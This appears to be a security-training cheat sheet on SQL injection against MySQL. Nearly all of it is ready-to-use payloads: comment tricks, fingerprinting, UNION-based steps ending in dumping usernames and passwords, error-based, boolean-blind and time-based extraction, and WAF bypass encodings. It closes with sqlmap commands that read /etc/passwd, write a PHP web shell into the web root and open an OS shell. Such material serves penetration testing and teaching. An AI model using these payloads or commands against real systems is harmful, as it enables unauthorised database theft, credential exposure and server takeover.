MySQL Security
SQL Injection in MySQL — Deep Dive
SQL Injection in MySQL — Complete Guide
MySQL-Specific Comment Syntax
MySQL supports several comment styles that are critical for crafting injections. Knowing which one works depends on the context and any WAF filtering in place.
-- Double dash (must have space after in some contexts)
SELECT 1-- -
SELECT 1-- comment
-- Hash comment (MySQL-only, great for WAF bypass)
SELECT 1#
SELECT 1# comment
-- Multi-line / inline comment
SELECT 1/*comment*/2
SELECT/**/1/**/FROM/**/users
-- MySQL version-specific execution (conditional comment)
SELECT 1 /*!50000 AND 1=1*/-- -
-- Code inside /*!XXXXX */ only executes if MySQL version >= XXXXX
Detection — Identifying MySQL
-- Fingerprint MySQL with version-specific syntax
' AND 1=1-- - -- generic true
' AND 1=2-- - -- generic false
' AND sleep(0)-- - -- MySQL-specific
' AND 0x41=0x41-- - -- hex comparison
' AND (SELECT 1 FROM dual)-- - -- dual table (also Oracle)
-- MySQL-specific functions that error on other DBs
' AND extractvalue(1,1)-- - -- XPATH error
' AND row(1,1)>(SELECT count(*),concat(version(),0x3a,floor(rand()*2)) FROM information_schema.tables GROUP BY 2)-- -
UNION-Based Extraction — Step by Step
-- Step 1: Find number of columns using ORDER BY
?id=1 ORDER BY 1-- - (no error)
?id=1 ORDER BY 2-- - (no error)
?id=1 ORDER BY 3-- - (ERROR = 2 columns)
-- Step 2: Find visible columns
?id=-1 UNION SELECT 1,2-- -
?id=-1 UNION SELECT NULL,NULL-- - (safer, avoids type errors)
-- Step 3: Extract version/user
?id=-1 UNION SELECT user(),version()-- -
-- Step 4: Enumerate databases
?id=-1 UNION SELECT group_concat(schema_name),2 FROM information_schema.schemata-- -
-- Step 5: Enumerate tables
?id=-1 UNION SELECT group_concat(table_name),2 FROM information_schema.tables WHERE table_schema='targetdb'-- -
-- Step 6: Enumerate columns
?id=-1 UNION SELECT group_concat(column_name),2 FROM information_schema.columns WHERE table_name='users'-- -
-- Step 7: Dump data
?id=-1 UNION SELECT group_concat(username,0x3a,password),2 FROM users-- -
Error-Based — MySQL Functions
-- extractvalue() — most reliable
' AND extractvalue(1,concat(0x7e,(SELECT version()),0x7e))-- -
' AND extractvalue(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()),0x7e))-- -
-- updatexml()
' AND updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)-- -
-- floor(rand()) + GROUP BY — triggers duplicate key error
' AND (SELECT 1 FROM(SELECT count(*),concat((SELECT database()),0x3a,floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -
-- exp() overflow — MySQL 5.5.5+
' AND exp(~(SELECT * FROM (SELECT user())x))-- -
-- GeometryCollection error (MySQL 5.x)
' AND GeometryCollection((SELECT * FROM (SELECT * FROM (SELECT user())a)b))-- -
Boolean-Based Blind — Character by Character
-- Template: does character N of target string equal X?
?id=1 AND SUBSTRING((SELECT database()),1,1)='a'-- -
?id=1 AND ORD(SUBSTRING((SELECT database()),1,1))>97-- -
-- Binary search approach (faster)
?id=1 AND ORD(SUBSTRING((SELECT database()),1,1))>64-- - true
?id=1 AND ORD(SUBSTRING((SELECT database()),1,1))>96-- - true
?id=1 AND ORD(SUBSTRING((SELECT database()),1,1))>112-- - false → between 97-112
-- Automate with sqlmap
sqlmap -u "http://target.com/page?id=1" --technique=B --level=5 --risk=3 --dump
Time-Based Blind — SLEEP and BENCHMARK
-- Basic detection
?id=1 AND SLEEP(5)-- - -- 5 second delay confirms injection
-- Conditional extraction
?id=1 AND IF(SUBSTRING(database(),1,1)='a',SLEEP(3),0)-- -
-- BENCHMARK() alternative (useful when SLEEP is blocked by WAF)
?id=1 AND IF(1=1,BENCHMARK(5000000,SHA1('test')),0)-- -
-- Heavy query alternative (no functions needed)
?id=1 AND (SELECT count(*) FROM information_schema.columns A, information_schema.columns B)-- -
WAF Bypass Techniques
-- Space alternatives
SELECT/**/user/**/FROM/**/mysql.user
SELECT%09user%09FROM%09mysql.user -- tab
SELECT%0auser%0aFROM%0amysql.user -- newline
SELECT%0duser%0dFROM%0dmysql.user -- carriage return
-- Case variations
SeLeCt UsEr FrOm MysQl.UsEr
-- Keyword doubling (some WAFs strip once)
SESELECTLECT user FROM mysql.user
UNUNIONION SESELECTLECT ...
-- Encoding
' UNION%20SELECT%20user()-- -
' /*!UNION*/ /*!SELECT*/ user()-- -
-- HTTP parameter pollution
?id=1&id=UNION SELECT user()-- -
-- Scientific notation for integers
?id=1e0 UNION SELECT user()-- -
sqlmap Cheatsheet
-- Basic scan
sqlmap -u "http://target.com/page?id=1" --dbs
-- With cookies
sqlmap -u "http://target.com/page" --cookie="session=abc123" --dbs
-- POST request
sqlmap -u "http://target.com/login" --data="user=admin&pass=test" -p user
-- Specific technique
sqlmap -u "URL" --technique=BEUSTQ -- all techniques
sqlmap -u "URL" --technique=T -- time-based only
-- Dump specific table
sqlmap -u "URL" -D targetdb -T users --dump
-- File operations
sqlmap -u "URL" --file-read="/etc/passwd"
sqlmap -u "URL" --file-write="shell.php" --file-dest="/var/www/html/shell.php"
-- OS shell
sqlmap -u "URL" --os-shell
-- Tamper scripts for WAF bypass
sqlmap -u "URL" --tamper=space2comment,between,randomcase
Key Insight: MySQL's # comment and SLEEP() are strong fingerprinting indicators. Always test both error-based and time-based techniques — one will work even when the other is filtered. The /*!50000 code */ syntax is particularly effective against WAFs that don't parse MySQL conditional comments.